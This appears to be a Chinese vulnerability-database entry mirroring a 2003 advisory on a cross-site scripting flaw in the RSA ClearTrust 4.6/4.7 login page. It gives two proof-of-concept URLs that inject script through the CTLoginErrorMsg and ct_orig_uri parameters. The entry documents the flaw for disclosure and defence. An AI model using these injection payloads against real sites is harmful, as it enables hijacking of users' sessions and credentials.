RSA ClearTrust 4.6/4.7 – Login Page Cross-Site Scripting

漏洞ID	1053762	漏洞类型
发布时间	2003-03-15	更新时间	2003-03-15
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	ASP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/22357

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/7108/info

A cross-site scripting vulnerability has been discovered in ClearTrust. Specifically, the login page for the management application is not properly sanitized of some user-supplied values.

An attacker can exploit this vulnerability by creating a specially crafted URL that includes malicious HTML code for the login page used by ClearTrust.

https://victim.com/cleartrust/ct_logon.asp?CTLoginErrorMsg=<script>alert(1)
</script>

https://victim.com/cleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=
xx&ct_orig_uri=">< script>alert(1)/script><"

相关推荐: Netscape Communicator 4.5 – prefs.js Buffer Overflow

Netscape Communicator 4.5 – prefs.js Buffer Overflow 漏洞ID 1053435 漏洞类型发布时间 1999-12-24 更新时间 1999-12-24 CVE编号 N/A CNNVD-ID N/A 漏洞平台…